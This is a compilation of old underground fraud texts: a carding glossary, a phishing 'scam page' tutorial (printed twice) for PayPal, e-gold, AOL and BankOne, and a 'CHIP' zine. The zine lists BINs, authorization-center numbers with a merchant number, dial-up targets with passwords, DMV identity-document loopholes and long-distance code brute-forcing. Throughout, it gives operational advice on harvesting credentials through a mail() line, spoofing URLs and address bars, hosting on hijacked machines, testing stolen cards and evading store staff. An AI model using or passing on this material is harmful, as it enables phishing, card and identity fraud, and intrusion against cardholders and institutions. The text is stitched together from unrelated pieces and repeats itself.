Bank-equirer - bank, in which the store opens the account.

Merchant account - bank account for accepting credit cards.

Merchant Bank - bank, through which occur the payments between the buyer and the salesman (frequently it is used as synonym "bank-equirer").

Cardholder - owner of the card.

Validity - suitability card using.

White plastic - a piece of the pure plastic, where the information is plot.

CR-80 - rectangular piece of pure white plastic (without the drawing image) with the size of a credit card with the magnetic strip.

Transaction - charege to the credit card

POS terminal (Point Of Sale terminal) - reading card device, which stands at commercial point.

PIN-code - the sequence, which consists of 4-12 numbers. It is known only to the owner of card. By simple words password for the work with ATM and so on.

AVS - the card owner address checking. It is used for the confirmation of the card belonging exactly to its holder.

"Globe" - card holographic gluing with the image of two hemispheres (MasterCard).

Pigeon (hen) - card holographic gluing with the image of the flying pigeon (VISA).

Reader - information reading device for the readout from the magnetic strip of card.

Encoder - read/write device for the magnetic track of the card.

Embosser - card symbol extrusion device.

Card printer - card information printing device.

Exp.date - card validity period.

Area code - the first of 3 or 6 numbers of the card owner phone.

CVV2, cvv, cvn - 3 or 4 additional numbers, which stand at the end of the number of card.

ePlus - program for checking the cards.

BIN - first 6 numbers of the card number due to those it is possible to learn what bank issued out the card and what is the type of this card (ATM-card, credit, gold, etc.). Synonym of word "Prefix".

Chargeback - the cardholder's bank voids the removal of money from its card.

Dump - information, which is written to the magnetic strip of the card, it consists of 1,2 or 3 tracks.

Track (road) - a part of the dump with the specific information. Every 1-st track is the information about the owner of the card, 2-nd track - information about the owner of card, about the bank issued the card, etc. 3-rd track - it is possible to say - spare, it is used by stores for the addition of the points and other.

Slip - synonym to the word "cheque" (conformably to card settlings).

Card balance - money sum that finding on the card account.
MMN Mothers Maiden Name, important if you want to change the billing address

some terms:

Automated Clearing House (ACH) - the automated clearing house. The voluntary association of depositors, which achieves clearing of checks and electronic units by the direct exchange of means between the members of association.

Continuous Acqusition and Life-cycle Support (CALS) - the integrated system of the production guaranteeing, purchase and expluatation. This system makes possible to computerize all data about the design, development, production, servicing and the propagation of the production.

Debit Card - Card, which resembles the credit card by the method of using, but making possible to realize direct buyer account debiting at the moment of the purchase of goods or service.

Delivery Versus Payment (DVP) - the system of calculations in the operations with the valuable papers, which ensures the mechanism, which guarantees that the delivery will occur only in the case of payment and at the moment of payment.

Direcht debit - payment levy method, mainly, with the repetitive nature (lease pay, insurance reward, etc.) with which the debitor authorizes his financial establishment to debit his current account when obtaining of calculation on payment from the indicated creditor.

Electronic Fund Transfer (EFT) - the remittance of means, initiated from the terminal, telephone or magnetic carrier (tape or diskette), by transfer of instructions or authorities to financial establishment, that concern to the debiting or crediting of the account (see Electronic Fund Transfer/Point of Sale - EFT/POS).

Electronic Fund Transfer/Point of Sale - EFT/POS - debiting from the electronic terminal, for the means transfer purpose from the account of a buyer into the payment on the obligations, which arose in the course of transaction at the point of sale.

Integrated Circuit (IC) Card - It is known also as chip card. Card equipped with one either several computer micros-chip or integrated microcircuits for identification and storing of data or their special treatment, utilized for the establishment of the authenticity of personal identification number (PIN), for delivery of permission for the purchase, account balance checking and storing the personal records. In certain cases, the card memory renewal during each use (renewed account balance).

Internet - the open world communication infrastructure, which consists of the interrelated computer networks and which provides access to the remote information and information exchange between the computers.

International Standardisation Organisation (ISO) - International organization, which carries out standardization, with the staff office in Geneva, Switzerland.

Magnetic Ink Character Recignition (MICR) - System, which ensures the machine reading of the information, substituted by magnetic inks in the lower part of the check, including the number of check, the code of department, sum and the number of account.

RSA - the coding and autentification technology, developed in 1977 in MIT by Rivest, Shamir and Adel'man, which subsequently opened their own company RSA Data Sechurity, Inc., purchased recently by the company Security Dynamics Technologies, Inc.

Real-Time Gross Settlement (RTGS) - the payment method, with which the transfer of means is achieved for each transaction in obtaining of instructions about the payment. Decrease the risk with the payment.

SSN (Social Security Number) - nine-digit number issued in US only to an individual. Its primary purpose is to track individuals for taxation purposes.

Smart Card - card equipped with integrated circuit and microprocessor, capable to carrying out the calculations.

System risk - the risk, with which the incapacity of one of the payment system participants either

financial market participants as a whole to fullfill their obligations causes the incapacity of other participants or financial establishments to fulfill its obligations (including obligations regarding the realization of calculations in means transfer systems) properly. This failure can cause significant liquidity or crediting problems and, as result, it can cause loss to the stability of financial markets (with the subsequent action on the level of economic activity).

Truncation - procedure, which makes it possible to limit the physical displacements of a paper document, in the ideal version, by the bank of the first presentation, by the replacement by electronic transfer of entire or part of the information, which is contained on this document (check).

Tipper - a machine designed for use with PVC plastic cards to create raised print. (basically a plastic card embosser)

COB - Change of billing. Used for online carding, to change the billing address of a card since Online Stores will only ship large items if the billing and shipping address match. You can obtain these from vendors in CP. Once you have this, you can easily change the card address to that of your drop so that the stores ship items to your drop, since the billing and shipping addresses will match.

DOB - Date of birth of the card owner
Reply With Quote

Casino Scam

1. Design/Getting a scam page

So to start you will need a decent scam page, one that looks life the real deal a
nd will fool people into entering there details. Scam pages come in diffent forms
and sizes from a single page to multiple ones but as long as yours is accurate it
should work well. I have seen many scam pages or spam mail with countless spelling
and grammar mistakes, I advise everyone to use a spell checker and read through it a few times, if your
the language you are using is bad then ask someone who is
fluent in that language to check it.

Designing your own scam page:

I do not know much about designing your own apart from the basics, there are
others who are advanced and can add things like security lock and incorrect entry errors
but for now you should start off with basic stuff.

1. Go to the webpage that you are wanting to replicate.
2. File, view source, notepad or similar program should open with alot of text.
3. Save somewhere safe and close.
4. Open and copy the source to a web design program, i would suggest
'Microsoft Front Page Editor' as it can be downloaded for free and is easy to use.
5. Edit the webpage to suit your needs.
6. Go back to the source and now you will have to edit a few lines of it so
that the entires are sent to you (I cannot at this time remember what lines
to edit so i will edit this shortly)

Or to make the above a little bit more easier, you can download the following

program and rip an entire site for you to play around with in your choosen web design program..

BlackWidow - http://sbl.net/Downloads/BlackWidow%20Setup.exe

It has a 30 day trial restriction but a quick net search and you should be able to get a crack.

Using free scam pages:

Here are some free scam pages, thanks to Magister and blacksabbath who spent time creating them and gave them away at no cost, they are pretty decent and should work well. There are full versions of the e-gold and paypal scam page so if you would like that you can buy them off Magister.

E-gold - http://www.glcco.com/invision/source...old%20LITE.zip

Paypal - http://dataonesoftware.com/html/them...les/PayPal.zip

eBay - coming soon

AOL - http://blacksabbathpagez.tripod.com/aolsc.zip

BankOne - http://blacksabbathpagez.tripod.com/bankone.zip

Copy and past the links into a new browser as hotlinking might not work.

The files are zipped so use winrar or a similar program to unpack them.

Buying scam pages:

You can by very proffesional scam pages from a few vendors, price varies on how good the page is, some vendors i would suggest are:

Magister (CP)
Aphrodite (CP)

1.1 Setting Up Scam page (Getting details sent to email, icq etc)

To make the details get sent to you, you will have to edit a few lines in one file which has to be done to the ones you are using. In the files specified below find the line mail("you@you.you") and change the part in brackets to your email.

E-gold - access.htm is the start page, set mail address at acct.php

Paypal - login.html is the start page, set mail address at paypal.php

eBay - coming soon

AOL - aol.comsupport is start page, set mail address at process.php

BankOne - SecurityUpdate is the start page, edit same line when viewing source

on SecurityUpdate

1.2 Hosting Scam page

You will need to find a stable anon host which will allow you to keep your scam page up for a few days, most hosts will take it down as soon as they notice or get complaints about it so choosing a good host is important.

OffShore Hosts -Look for a host that is situated in a different country as they do not really care what it is used for and have slow/weak spam and fraud control, offshore hosts are always good for this sort of work.

Radmins - If you have some spare money i would suggest ivesting in one or two radmins, radmins are computers you have full remoute access to so you can do whatever you want with them. A radmin with a good speed can do many things from hosting to spamming and browse for them so they are good investment for scam page users. Radmins can last for a long time depending what they are used for but for scam pages the average is around 2weeks which is more than enough time for your scam page. Look around and you should be able to find a reputable seller of these however be careful as there are alot of rippers selling these.

Bulletproof Hosts - I do not know much about this type of host but it seems some people like to it to host scam pages because of it being anon,fast, reliable and it allows its users to advertise by spam unlike some hosts which will take your site down if spam complaints are recieved.

Other hosts - Look around and spend some time trying out different hosts and you are sure enough to find a few good ones for scam pages, use a CC to card the accounts as it would be stupid to pay for it unless its reliable and anon.

1.3 Other

Here are a few methods to make your scam page look even more authentic, I have not tried these but here is some information from those that have..

Fake Address bar -

You create an activex floating white window the size of the address bar and place the x/y values of it where the normal address bar would be. Works perfect, however if they're not in full screen mode ur FUCKED.

Example - http://www.doxdesk.com/personal/post...3-ie/bank.html

Also depending on resolution the effect varies.

Fake URL -

You can mask the URL of your host by using this old (but still working) technique

http://<realurl>%00%01@<fakeurl>/

So

www.paypal.com/" target="_blank" rel="nofollow">http://www.e-gold.com.@www.paypal.com/

Magic!!

It takes you to the paypal site but shows www.e-gold.com in the address bar...

Fake SSL certificate -

To get the lock at the bottom right of your screen on your scam page you will need to use a host that gives you the certificate as part of the package, the user who is viewing the scam page will have to click yes on the alert box that comes up and the padlock will be shown, this is good for sites like e-gold which tell the user to check for the padlock before logging in.

http://www.apache-ssl.org is a good site to get you started with a host with ssl cert.

CHECKING FOR AVS (CARD AND BILLING ADDRESS MATCH)

If you want to check a credit card for verification match up on avs (registered biling address) and credit card number.
Then please feel free to use the web site: get up and donate charity site
weblink:www.getup.org.au/donate

This site approves when there is a direct match between the card details and billing address.
Billing address and card details valid match is vital when trying to a card and ship good's online.

Cvv Carding Tutorial #3

INTRODUCTION:

C=The *use* of our credit system for personal gain & financial freedom!
H=The practice of accessing *secure* computers with innovative techniques/skill.
I=Assuming or establishing a *new* guise by "creating" an identity on paper.
P=The know-how and interest in the telecom industry and the services it provides

Hi-?!
Issue two already! I just finised #-01 about a week ago, and already I feel
I have enough text & information of interest to warrant a quick follow-up to
#-01! ....so here it is, #-02! I hope #-01 has provided those who have read it,

something to think about and/or "work on". If not, well then perhaps this one will. If not, then perhaps a monastery or convent would be a better place for the likes of you!!

II.> PART 2-
\|/
?[>*C*H*I*P*=>!
C - CARDING> /|\

Intro:

Below are as many BIN's as I could round up. Each one is listed according to the Banks ID No. (BIN) - which are the first 6 nos. of a CC. (Credit Card). Of course, the first no. indicates a Visa (4) or a Mastercard (5). Bin's aren't all that important to know, but can be if you NEED to know the name of a bank that issued the CC no. you have.

So FYI and bemusement, here's that information-

BANK IDENTIFICATION NUMBERS:
^^^^ ^^^^^^^^^^^^^^ ^^^^^^^
~~VISA BINs~~
^^^^ ^^^^
4000-4999

401903 = Bank of America
402400 = Bank of America
402402 = Bank of America (Gold)
403200 = Household Bank
4040?? = Connecticut National Bk
4040?? = Wells Fargo
4050xx = 1st Interstate
4052?? = First Cincinnati Bank
405209 = First Nationwide Bank
4060?? = Navy Federal Credit Union
407000 = Security Pacific Ntl. Bank
407129 = Colonial National Bank

411427 = Chemical Bank
412174 = Signet Bank/Virginia
412185 = Citibank/Signet?
41235? = Commerce Bank
4128xx = Citibank
416818 = Great Western Bank
4131?? = State Street Bank
4170?? = Beneficial National
417129 = Colonial Bank
4188?? = Ohio Savings & Loan

4211?? = Chemical Bank
4215?? = Marine Midland
422591 = Chase Manhattan
4226xx = Chase Manhattan
4231?? = Chase Lincoln 1st Classic
4232?? = Chase Lincoln 1st Classic

4237?? = Cicero Credit
4241?? = Natl. Westminester Bank
425043 = First Chicago Bank
425330 = Bank of N.Y./Consumer Edge
425451 = Chemical Bank
4262xx = Corestates Bank of DE
427138 = Citibank

4302?? = HouseHold Bank
431068 = Bank-Layfayette/Imprl Svg's
4312?? = Barnette Credit
431301 = Valley Federal S&L
431663 = Glendale Savings & Loan
431772 = Gold Dome
4321?? = Mellon Bank
433213 = Bank of Indiana
433222 = Far West Virginia
4349?? = First Bank of America
436800 = Sovran Bank/VA
438733 = Bank One
438760 = More Bank

440121 = Gary Wheaton
440862 = Charleston of Indiana
441712 = Mellon Bank
442813 = Bank of Hoven
442843 = " " " "
44288? = Colonial National Bank
443600 = Security Bank of Monroe
4448?? = First National Bank - RI

46165x = First Interstate Bank
4626?? = Indiana National Bank
4646?? = Mercantile
4672?? = Mercantile Bank
467362 = First National Bank;
467807 = Home Fed Svg's/1st Card
467808 = Home Fed Svg's/1st Card
468120 = Harris Trust Savings
4696?? = Credit of Kansas

4718?? = Colorado Bank
4734?? = Madison Bank

480012 = Valley Federal S&L
4811?? = Bank of Hawaii
4825?? = First Wisconsin
4897?? = Village Bank of Cinn., OH _____
/ Here are \
4929?? = Barclay Bank/DE | what the |
^ | holograms |
| | SHOULD show!|
| _____ _____/
BIN = #### ## (1st 6 nos.) Y
| |
| _____|_____

| [|]
^ | MASTERCARD INTERNATIONAL___v____ |
| | [v+===*] |
/--<+-->| 5555 1234 5678 9012 [| I|] |
	^^^^ ^^] Q I	]
+==>	6512 11-91 TO 11-92 [/	\ I	]
		^^^^ [_/^_ I=]
		JUSTIN CASE MD [_____]
	[_____]
-==>IBN = #### (above cardholder's name)
A>|M/C's |
==v===== v
1st- X IBN.
X #### Bank/Institution Name
^^^^^^ ^ ^^^^ ^^^^ ^^^^^^^^^^^ ^^^^
5000-5399
=========
5031?? = #? -Maryland Bank MBNA

5127?? = 1015 -?

520400 = 1006 -Security Pac Ntl Bk
521142 = 6142?-Chemical Bank
521531 = 6207 -Marine Midland
521795 = 1033?-Manufacturers Trust
5218?? = #? -Citibank N.A.
523080 = #? -Harris Trust Svgs
5233?? = 1226 -Huntington Bank
524200 = 6066 -Chevy Chase F.S.B.
5250?? = 1260 -?
525400 = #? -Bank of America-ca
525402 = #? -Bank of America-pa
5263?? = 1263 -Chemical Bank
5272?? = #? -Connecticut Ntl
5273?? =p #? -Bank of America
527706 = #? -FIB
52820? = #? -Wells Fargo
5286?? = #? -Chase Lincoln 1st
5286?? = 1286 -Home Fed Savings
528707 = #? -Valley National Bank
529107 = 1001 -Signet Bank/VA
529801 = #? -Bank One

5317?? = #? -Norwest Financial
5323?? = #? -Bank of New York
532903 = 6017 -Maryland Bank; MBNA
532956 = 6017 -Maryland Bank; MBNA
539655 = 7462 -Universal Bank/AT&T
539855 = 7462 -Universal Bank/AT&T

5400-5999
=========

540126 = 6017 -Valley Federal S&L
540193 = 8084 -Fidelity Investors Bk
541037 = 6037 -Wells Fargo NA
541065 = 6785 -Citibank NA
541085 = 6785 -Citibank NA
541116 = #? -1st Financial/Omaha
541169 = 1169 -1st Financial/Omaha
5412?? = 6037 -?
5414?? = #? -Ntl. Westminster Bank
5415?? = #? -Colonial National Bk
541586 = 1586 -HouseHold Bank
541711 = 1711 -?
541919 = #? -FIB
541933 = 1933 -Bank of Hoven
541934 = #? -Berthoud Ntl Bk
542096 = #? -Colonial Bank
542143 = 2143 -?
54224x = 1049 -MHT
542418 = 1065 -Citibank
5432xx = #? -Bank of New York
5455?? = #? -PSFS
5464?? = 1665 -Chase Manhattan
546598 = " " -Chase Manhattan

5601?? = 1352 -FIB
5678?? = 1207 -Marine Midland

591210 = 6282 -Wells Fargo

xx= All nos. in series are that bank's.
??= Unsure of full IBN/BIN no.

B> - Authorization Centers - ("AC")

Intro: Authorization Centers are located throughout the country and are in just about every financial institution that is involved in the distribution and/or issuance of credit cards. Of course, Visa and M/C have some as well.

Citibank, First Interstate Bank and Bank of America all have their own AC's available to their merchants. There are however many other AC's that provide the same types of services to their merchants. It is the merchant who is 'really' providing the services though. It is the merchants responsibility in most cases to determine that a credit card is valid. On top of that they are also even offered a whole $50 if they assist in the conviction of anyone suspected of using a stolen/forged card. $50!! Hardly worth it, so most don't even try....

One of the quickest ways a card is checked is by accessing an AC through a card reader. Verifone is perhaps the largest mfg. of these devices, which are used by most retail stores or restaurants for CC verifications.

The telephone no. that is called using one of these card readers is the first one in which I've listed below. You can also log onto this "carrier" via a a modem, but I've yet to figure out what the necessary input is to utilize this service on my computer. A touch tone phone suffices however, and the required input is listed below for using this particular AC (Authorization Center).

One other thing to note here is that whenever you are at a store/merchant and using a shady (at best) card, be especially alert to the merchant and/or cashier when they are getting verification of the transaction. If they use the telephone and voice in the request for the authorization, then listen for "Code-10", and if you hear them say this at any time- GET THE HECK OUT!!

If they use a card reader for the transaction and get something like "CALL CENTER" on the read out, then remain calm and ask what the problem is, and if at anytime they are out of sight or on the phone with the center for any prolonged amount of time, then again- GET OUT OF THERE!!

A "code-10" is a merchant's signal to an authorization center that they are suspicious of the card user. If you are using an AMEX, then run out of there twice as fast, because AMEX calls the police from their authorization center. V/MC don't usually call the police, but AMEX will use stall tactics while the police are on the way. (One way is to ask to speak with you and then ask you some rather lengthy detailed questions, like primary cardholders name, SSN & Mother's Maiden). You can always just look out the window and exclaim, "Hey! someone's stealing/towing my car!" and then leave pronto!....

** Use the following telephone nos. before going into ANY store to use a card. They are worth the extra minute or so to be sure that the card is still valid!

1>.
800/228-1111 = On-Line Auth. Center (300baud)/Touchtone Ok too.
Merchant No.#Card No.#Exp.Date#Amt# **push the "#" after each entry**
(Merch No.=A 16 digit-#; 1st no. is 4 or 5 & can often be found on carbons just above the merchants name.)

2>.
800/228-2211 = This is the voice authorization number of the same group who operate the one above. I am fairly sure that these two are operated by M/C and Visa, and I do know that the merchant nos. that work on one, also work on the other. This AC, is also useful for obtaining a BIN no., and/or the issuing bank of a particular credit card. Just ask the verification op. for merchant services and she will connect you to their information dept.

3>.
800/554-2265 = Bankcard Auth. Ctr.
For MasterCard: 1067#52#10#CardNo#Exp#$$$$#
For Visa: 1067#24#20#CardNo#Exp#$$$$#

4>.
800/528-2121 = American Express Auth. Ctr. (Amex only)
Live ops! - Give: (**Merch#+card#+expdate+amt) **=5041035528
Merch. No. is for: Popolos Ristorante; 8115 Melrose LA,Ca. 90069

5>.
800/327-3584 Authorization Center for Visa & M/C
***** Merchant No. format is: 101 ### ###; #= unknown no.

6>.
800/645-9120 Merchant Service Center for Citibank; NA
****** Merchant No. format is: ### ### ### ### (the one I had is no longer

[=-=]
Glossary of terms used in the preceding text file.

- Authorization Center <AC> = Voice and/or Data terminal which gives merchants varying "approval codes" on purchase requests. Some also provide info such as BIN No. and Bank Name of a particular card.

- Bank Identification Number <BIN> = Issuing bank's identifier. This number is assigned by the FDIC, I think. The No. can be found on Visa's (unraised) just above the CC number. Some larger banks will have several BIN's, because they own several smaller financial institutions that issue credit.
Choice Visa is one example. They are owned by Citibank, but have there own seperate BIN. Another example is First Card, which handles Home Fed Savings credit accounts.

- International Bank Number <IBN> = Bank Identifier on a national level. The number is used by various merchants to verify/approve a cardholder when they have placed a telephone or mailorder request. It is the 4 digit no. just above the persons name, and is only found on M/C's (raised, 'usually' starts with a 1,6,7 or Cool & on Amex cards (unraised, usually starting with a 6). Though not an absolute, experience has shown that IBN's starting with 6,7 or an 8, are usually preferred accounts. IBN's that begin with a 1 or 2 are usually found on classic accounts. (see list above)

- CV = Classic Account; -these two letters can be found on most Visa cards that are "Classic Accounts". They usually have a credit limit of some-where between $500 to $5000+, though some can go up to $10,000 for long term customers.

- PV = Preferred Acct. or "Gold Card"; -usually limits of 5,000-10,000+. These cards are 'usually' found on Gold or 'preferred Visa Cards, and are worth their weight in 'gold' as well.... Some can go up to $40,000 or more!!

++Any additional articles or noteworthy texts to be submitted for inclusion in the future issues of *CHIP*, should include a handle &/or method of contact for the author. Though not required, this will help in verifying the info & assure a timely publish date.

Our method of contact is simple. Call 800-755-3493, press 9657 before end of greeting and give us some idea of what you know or have access to and we will consider your request. The only other method we feel safe with is via a typed letter sent to: *JC/CA* 15445 Ventura Blvd. #128; Sherman Oaks, CA 91403. We need more up to date H/P info since this is not our best subject and since there are many others more knowledgable in this field than we are... So let us know! ...Otherwise we may change *CHIP* to CIA! & become Anarchist!... then again, it's probably too late for that, since we do as we want anywayz..-JC/CA>.

III.> PART 3:
\|/
?[>*C*H*I*P*=>!
/|\
H - HACKING>

Intro:

Hacking Numbers & Carriers! These may also be added to the EXTENDER.DAT files of most Hacking/Phreak programs, when reliable carrier no(s) are needed.

* Telephone No= Pwd &/or Locale * Telephone No= Pwd &/or Locale
---------- ----------
206-863-0015= ? 800-325-1171= ?
206-863-3963= ? 800-325-1340= ?
206-863-3700= ? 800-325-1341= ?
206-863-0426= ? 800-325-1342= ?
206-863-1150= ? 800-325-1436= ?
206-863-1183= ? 800-325-1401= ?
208-772-6134= ? 800-325-1471= ?
619-723-8996= ? 800-621-3224= ?
919-323-9888= ? 800-621-3592= ?
214-263-3109= ? 800-621-3678= ?
206-825-7206= ? 800-621-3679= ?
206-825-7598= ? 800-228-1111= ?M/Card-Visa
206-825-7621= ? 800-334-4000= ?Message system
206-825-7781= ? 212-370-4303= Cosmos NY
206-825-6132= Try ctrl-x for prompt 313-855-0203= CosmosMI:ONNERR
206-825-7905= ? 213-892-7211= Compuserve
206-825-9000= Montgomery Ward 213-355-5241= Electronic News
206-833-5329= Wont connect properly 800-555-8677= Ma Bell
206-825-6234= Oil Company 800-424-9440= Bank
206-931-4879= Auburn High 213-932-8294= Secret Service
206-872-4690= Kent High 405-332-9998= Belle Co-puter
414-476-8010= Milwaukee High 713-241-6421= Shell Oil
206-771-6551= Tacoma School.P/w=VAXE 713-526-0149= Hospital
206-825-7720= Compuserve 913-343-1042= Calling card
312-499-2100= Sears 502-588-6020= Uof Louisville
617-683-2119= Hospital 502-588-6036= " " "
800-424-9494= Telenet 213-417-8997= TWA
800-421-2123= ? 800-828-6321= IBM Computer
800-558-0001= AGRODATA 206-828-3598= Microsoft
206-357-7350= Ctrl-data-publishing 800-526-3174= RCA Mainframe
414-354-0010= T.Y.M.E. Corp. 312-937-1210= ?
202-553-0229= PENTAGON 206-833-6352= ?
202-697-0814= PENTAGON 206-833-6364= ?
304-376-2488= Savings & Loan 202-553-0229= T.A.C
313-964-2018= Charge card Association N/A-950-1288= AT&T Info Service
206-833-6133= ? 206-833-6134= ? *P/w For Milwaukee High GNIK, Code:4,71
800-522-5465= Lab Link **P/w For Ma Bell 948DJU47R
202-694-0004 User Id= Cohen

==========

ABC East Coast feed 213 935-1111

Try this # 206-825-2377, hit return a couple of times and you'll get ENTER PASSWORD then hit ControL 'U' a few times then hit return. you in simple.. Or try mashing keys until it says 'ART GAMBLIN - CHEVROLET'...

III.> PART 4-

\|/
?[>*C*H*I*P*=>!
/|\
I - IDENTITIES

Intro:

DMVRULES.TXT

What the DMV would rather you DIDN'T know:
<from the Standard Operating Procedures - SOP of the DMV/CA.> 10-01-90

13.301a:
"...If the applicant is unable to provide a signature within the margin, the application should nevertheless be accepted, and there is NO need to prepare another application..."

13.301b:
..."Usual signature" means the signature the applicant uses when signing letters, "checks", etc. It need not correspond exactly to the full name as shown at the top of the application or photo document & and in fact, seldom will. If the signature includes a nickname not shown in the full name, or if it differs a lot from the full name, the employee should indicate "usual signature" in the space at the top of application.

13.301c: ***important***
If the applicant's, "usual signature" is "printed", it should be ACCEPTED on the application.

13.307: Birth Date Verification

Any Driver license showing birth date is acceptable in lieu of a birth certificate (bc). If the bc is unobtainable, certain other documents may be accepted in lieu of the bc. The acceptability of other documents should "NOT BE DESCRIBED TO THE APPLICANT" until it is reasonably ascertained that their birth record is unobtainable.

The following ARE accepted forms of identification as listed in the DMV Employees Driver License Tech. Manual:
<<< in order of preference.... their preference, of course! >>>

1>. Birth Certificate or any "certified Birth Record/Registration".
2>. Driver License, from CA. or an ID card issued by the State of CA.
3>. All other state Drivers licenses, Id cards, to include Military too
4>. Any foreign governments D/L and/or ID. Must have DOB listed on it.
5>. Passports, Visas, immigration/alien docs or reg. cards. w/ DOB.
6>. Dept. of Corrections or Youth Authority docs, signed by PA/CS/CAS.
7>. Driver Education driving permits & training certificates, w/ DOB's.
8>. Out of State ID cards -NOT necessarily issued by the state's DMV.
9>. US Census Records. Auth. by 13007.5 VC; ** contact Census Bureau **
10>. School Cerification (form dl-48); used ONLY when all other forms of Proof of ID have been exausted; *contact any local school to get rcrds*. This is also an accepted form of ID for SSA (Social Security Administration).

** Note:

Tax forms are not accepted with any degree of certainty by the DMV. It's always best to use what they see "thousands of time a day", since these docs are usually less scrutinized.

If you have trouble getting the above docs, then just go to Nevada. In NV they take almost every Type of ID known in the US. Included in what they will accept are W-2 tax forms & 1099 gift-tax forms. Armed with one of these and a baptismal certificate you can get a NV ID/DL with no problem, and on the same day as well. NV is one of the few states that accept Baptismal Certificates.
.... and Just'in Case you ddidn't know that, Bap. Certs. can be found at most at most religious bookstores & supply stores, especially Catholic.

An added bonus is that they DO NOT fingerprint in NV. You also have the option of having your ssn imprinted on the ID card, which is helpful for back-up ID. You just tell them your ssn and they'll include it. One bad thing is that there is no Exp. date on their ID cards, however there Driver Lic's. do have exp. date's and are worth the extra "drive" around the city to get. The best days to go are on Tuesdays or Wednesdays.
***Now here are a few additional points of interest to note for the heck of it, so here goes....

= THE =
- APPLICATION -

II.> Driver Information and the Application.

Quickly, there are 5 types of forms used by the DMV in processing such requests as DL, ID, Replacement (of either), Computer paper & the renewal application form (DL-1RN). BTW, according to this doc that I am sorta copying, it says that the renewal process will and is being phased out with "the new system now being installed". *CA has seen perhaps the very first of this 'new' system.*

13.011
Every applicant for an original, or renewal, driver license whose form DL-44 indicates previous driving experience, but who does not indicate or produce a previous license, should be asked whether he/she holds a regular license from California or any other state or country. The reason for the inquiry (Sec-12511 & 12518vc) should be "politely" explained. Instruction or learner's permit & "International Drivers Licenses" are not considered to be regular licenses. If an applicant over the age of 18 cannot produce a valid or recently (within one year) expired foreign license, a check by H-6 inquiry <?> to the automated sys. or Wats Line must be made prior to processing of the application.

+++H-6 inquiry to automated sys OR WATS line sounds like a hacking adventure!..
Anyone with info on this possibility please fill us in at 800/755-3493 x-9657.

IV.> PART 5:
\|/
?[>*C*H*I*P*=>!
/|\
P - PHREAKING>

Intro:

950XXXX.LST
Here is a current list of operating L/D Co's, which provide access to telco. lines across our fine country (ha!)... Of course what makes it so fine is that with each of these L/D carriers, there is a code that is entered to be able to access the fine features of each of these fine L/D service providers.

So someday with nothing better to do, give 'em a try and try out different access code numbers (randomly), and hopefully you'll be able to make FREE phone calls in no time. Don't abuse it however, because they do tend to monitor any high usage on these numbers.

[----------]
| 950- | Code Format | Name of Company | Comments |
[----------]
0223	6 digits + acn	Cable and Wireless	Business/calls overseas
0266	7 digits + acn	Com Systems	MC/V/AE w/o exp-ok! Hit "0"
0370	7 digits + acn	LDS	Long Distance Services
0488	acn + 13 digits	ITT	
0511	6 digits + acn	Execuline	
1022	0 + acn + 14dig	MCI Execunet	Calling card - 14 digit #
1033	0 + acn + 14dig	MCI	Calling card - 14 digit #
1044	6 digits + acn	Allnet	
1050	6 digits + acn	Metrophone	
1055	6 digits + acn	Telesphere	MC/V/AE ok too!! push "0"
1407	7 digits + acn	TMC Watts #1 in CA	
1408	7 digits + acn	TMC Watts #2 in CA	
1444	9 digits + acn	Allnet	International Access also
1555	6 digits + acn	Telesphere	
1621	9 + acn + 6dig#	na	9 + acn + 6 digits?
1772	code + acn	na	Voice for "access code"
1820	na	BizTel	
1979	6 digits + acn	VorTel	
1999	6 digits + acn	ITT	800/275-0100 for account
[----------]

Design/Getting a scam page (Casino)

1. Design/Getting a scam page

So to start you will need a decent scam page, one that looks life the real deal a nd will fool people into entering there details. Scam pages come in diffent forms and sizes from a single page to multiple ones but as long as yours is accurate it should work well. I have seen many scam pages or spam mail with countless spelling and grammar mistakes, I advise everyone to use a spell checker and read through it a few times, if your the language you are using is bad then ask someone who is fluent in that language to check it.

Designing your own scam page:

I do not know much about designing your own apart from the basics, there are

others who are advanced and can add things like security lock and incorrect entry errors but for now you should start off with basic stuff.

1. Go to the webpage that you are wanting to replicate.
2. File, view source, notepad or similar program should open with alot of text.
3. Save somewhere safe and close.
4. Open and copy the source to a web design program, i would suggest 'Microsoft Front Page Editor' as it can be downloaded for free and is easy to use.
5. Edit the webpage to suit your needs.
6. Go back to the source and now you will have to edit a few lines of it so that the entires are sent to you (I cannot at this time remember what lines to edit so i will edit this shortly)

Or to make the above a little bit more easier, you can download the following program and rip an entire site for you to play around with in your choosen web design program..

BlackWidow - http://sbl.net/Downloads/BlackWidow%20Setup.exe

It has a 30 day trial restriction but a quick net search and you should be able to get a crack.

Using free scam pages:

Here are some free scam pages, thanks to Magister and blacksabbath who spent time creating them and gave them away at no cost, they are pretty decent and should work well. There are full versions of the e-gold and paypal scam page so if you would like that you can buy them off Magister.

E-gold - http://www.glcco.com/invision/source...old%20LITE.zip

Paypal - http://dataonesoftware.com/html/them...les/PayPal.zip

eBay - coming soon

AOL - http://blacksabbathpagez.tripod.com/aolsc.zip

BankOne - http://blacksabbathpagez.tripod.com/bankone.zip

Copy and past the links into a new browser as hotlinking might not work.

The files are zipped so use winrar or a similar program to unpack them.

Buying scam pages:

You can by very proffesional scam pages from a few vendors, price varies on how good the page is, some vendors i would suggest are:

Magister (CP)
Aphrodite (CP)

1.1 Setting Up Scam page (Getting details sent to email, icq etc)

To make the details get sent to you, you will have to edit a few lines in one file which has to be done to the ones you are using. In the files specified below find the line mail("you@you.you") and change the part in brackets to your email.

E-gold - access.htm is the start page, set mail address at acct.php

Paypal - login.html is the start page, set mail address at paypal.php

eBay - coming soon

AOL - aol.comsupport is start page, set mail address at process.php

BankOne - SecurityUpdate is the start page, edit same line when viewing source on SecurityUpdate

1.2 Hosting Scam page

You will need to find a stable anon host which will allow you to keep your scam page up for a few days, most hosts will take it down as soon as they notice or get complaints about it so choosing a good host is important.

OffShore Hosts -Look for a host that is situated in a different country as they do not really care what it is used for and have slow/weak spam and fraud control, offshore hosts are always good for this sort of work.

Radmins - If you have some spare money i would suggest ivesting in one or two radmins, radmins are computers you have full remoute access to so you can do whatever you want with them. A radmin with a good speed can do many things from hosting to spamming and browse for them so they are good investment for scam page users. Radmins can last for a long time depending what they are used for but for scam pages the average is around 2weeks which is more than enough time for your scam page. Look around and you should be able to find a reputable seller of these however be careful as there are alot of rippers selling these.

Bulletproof Hosts - I do not know much about this type of host but it seems some people like to it to host scam pages because of it being anon,fast, reliable and it allows its users to advertise by spam unlike some hosts which will take your site down if spam complaints are recieved.

Other hosts - Look around and spend some time trying out different hosts and you are sure enough to find a few good ones for scam pages, use a CC to card the accounts as it would be stupid to pay for it unless its reliable and anon.

1.3 Other

